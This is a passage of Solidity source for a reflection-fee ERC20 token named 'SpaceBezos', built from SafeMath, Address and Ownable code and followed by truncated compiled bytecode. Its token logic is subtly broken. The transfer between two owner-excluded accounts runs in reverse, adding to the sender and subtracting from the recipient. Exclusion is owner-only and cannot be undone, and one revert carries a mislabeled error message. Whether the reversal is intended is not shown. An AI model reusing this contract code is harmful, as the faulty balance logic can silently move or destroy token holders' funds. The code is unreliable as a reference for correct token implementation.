overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } contract SpaceBezos is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcluded; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 10000 * 10**6 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private _name = 'Space Bezos'; string private _symbol = 'SpaceBezos'; uint8 private _decimals = 9; uint256 public _maxTxAmount = 10000 * 10**6 * 10**9; constructor () public { _rOwned[_msgSender()] = _rTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function isExcluded(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeAccount(address account) external onlyOwner() { require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) private { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(sender != owner() && recipient != owner()) require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); require(!_isExcluded[recipient], "Transfer amount must be greater than zero"); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].add(tAmount); _rOwned[sender] = _rOwned[sender].add(rAmount); _tOwned[recipient] = _tOwned[recipient].sub(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].sub(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee); } function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) { uint256 tFee = tAmount.div(100).mul(2); uint256 tTransferAmount = tAmount.sub(tFee); return (tTransferAmount, tFee); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x608060405234801561001057600080fd5b506004361061010b5760003560e01c806370a08231116100a257806395d89b411161007157806395d89b411461041c578063a9059cbb1461049f578063cba0e99614610503578063dd62ed3e1461055d578063f2cc0c18146105d55761010b565b806370a0823114610368578063715018a6146103c05780637d1db4a5146103ca5780638da5cb5b146103e85761010b565b806323b872dd116100de57806323b872dd146102335780632d838119146102b7578063313ce567146102f95780634549b0391461031a5761010b565b806306fdde0314610110578063095ea7b31461019357806313114a9d146101f757806318160ddd14610215575b600080fd5b610118610619565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561015857808201518184015260208101905061013d565b50505050905090810190601f1680156101855780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101df600480360360408110156101a957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106bb565b60405180821515815260200191505060405180910390f35b6101ff6106d9565b6040518082815260200191505060405180910390f35b61021d6106e3565b6040518082815260200191505060405180910390f35b61029f6004803603606081101561024957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106f3565b60405180821515815260200191505060405180910390f35b6102e3600480360360208110156102cd57600080fd5b81019080803590602001909291905050506107cc565b6040518082815260200191505060405180910390f35b610301610850565b604051808260ff16815260200191505060405180910390f35b6103526004803603604081101561033057600080fd5b8101908080359060200190929190803515159060200190929190505050610867565b6040518082815260200191505060405180910390f35b6103aa6004803603602081101561037e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610922565b6040518082815260200191505060405180910390f35b6103c8610a0d565b005b6103d2610b93565b6040518082815260200191505060405180910390f35b6103f0610b99565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610424610bc2565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610464578082015181840152602081019050610449565b50505050905090810190601f1680156104915780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104eb600480360360408110156104b557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c64565b60405180821515815260200191505060405180910390f35b6105456004803603602081101561051957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c82565b60405180821515815260200191505060405180910390f35b6105bf6004803603604081101561057357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610cd8565b6040518082815260200191505060405180910390f35b610617600480360360208110156105eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d5f565b005b606060088054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106b15780601f10610686576101008083540402835291602001916106b1565b820191906000526020600020905b81548152906001019060200180831161069457829003601f168201915b5050505050905090565b60006106cf6106c8611079565b8484611081565b6001905092915050565b6000600754905090565b6000678ac7230489e80000905090565b6000610700848484611278565b6107c18461070c611079565b6107bc8560405180606001604052806028815260200161298e60289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610772611079565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117a89092919063ffffffff16565b611081565b600190509392505050565b6000600654821115610829576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a8152602001806128f9602a913960400191505060405180910390fd5b6000610833611868565b9050610848818461189390919063ffffffff16565b915050919050565b6000600a60009054906101000a900460ff16905090565b6000678ac7230489e800008311156108e7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f416d6f756e74206d757374206265206c657373207468616e20737570706c790081525060200191505060405180910390fd5b816109065760006108f7846118dd565b5050505090508091505061091c565b6000610911846118dd565b505050915050809150505b92915050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156109bd57600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610a08565b610a05600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546107cc565b90505b919050565b610a15611079565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ad5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600b5481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060098054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c5a5780601f10610c2f57610100808354040283529160200191610c5a565b820191906000526020600020905b815481529060010190602001808311610c3d57829003601f168201915b5050505050905090565b6000610c78610c71611079565b8484611278565b6001905092915050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610d67611079565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e27576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610ee7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f4163636f756e7420697320616c7265616479206578636c75646564000000000081525060200191505060405180910390fd5b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115610fbb57610f77600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546107cc565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6001600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506005819080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611107576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180612a046024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561118d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806129236022913960400191505060405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806129df6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611384576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806128d66023913960400191505060405180910390fd5b600081116113dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260298152602001806129b66029913960400191505060405180910390fd5b6113e5610b99565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156114535750611423610b99565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156114b457600b548111156114b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260288152602001806129456028913960400191505060405180910390fd5b5b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156115575750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561156c57611567838383611935565b6117a3565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561160f5750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156116245761161f838383611b88565b6117a2565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116c85750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156116dd576116d8838383611ddb565b6117a1565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561177f5750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156117945761178f83838361203c565b6117a0565b61179f838383611ddb565b5b5b5b5b505050565b6000838311158290611855576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561181a5780820151818401526020810190506117ff565b50505050905090810190601f1680156118475780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b6000806000611875612324565b9150915061188c818361189390919063ffffffff16565b9250505090565b60006118d583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506125cd565b905092915050565b60008060008060008060006118f188612693565b9150915060006118ff611868565b905060008060006119118c86866126e5565b92509250925082828288889a509a509a509a509a5050505050505091939590929450565b6000806000806000611946866118dd565b945094509450945094506119a286600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461274390919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611a3785600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461274390919063ffffffff16565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611acc84600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461278d90919063ffffffff16565b600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611b198382612815565b8673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050505050505050565b6000806000806000611b99866118dd565b94509450945094509450611bf585600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461274390919063ffffffff16565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611c8a82600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461278d90919063ffffffff16565b600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611d1f84600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461278d90919063ffffffff16565b600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611d6c8382612815565b8673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050505050505050565b6000806000806000611dec866118dd565b94509450945094509450600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611e99576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260298152602001806129b66029913960400191505060405180910390fd5b611eeb85600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461274390919063ffffffff16565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f8084600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461278d90919063ffffffff16565b600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611fcd8382612815565b8673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050505050505050565b600080600080600061204d866118dd565b945094509450945094506120a986600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461278d90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061213e85600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461278d90919063ffffffff16565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506121d382600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461274390919063ffffffff16565b600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061226884600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461274390919063ffffffff16565b600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122b58382612815565b8673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050505050505050565b600080600060065490506000678ac7230489e80000905060005b6005805490508110156125845782600160006005848154811061235d57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118061244457508160026000600584815481106123dc57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b1561246157600654678ac7230489e80000945094505050506125c9565b6124ea600160006005848154811061247557fe5b9060005260206000200160009054906101000a900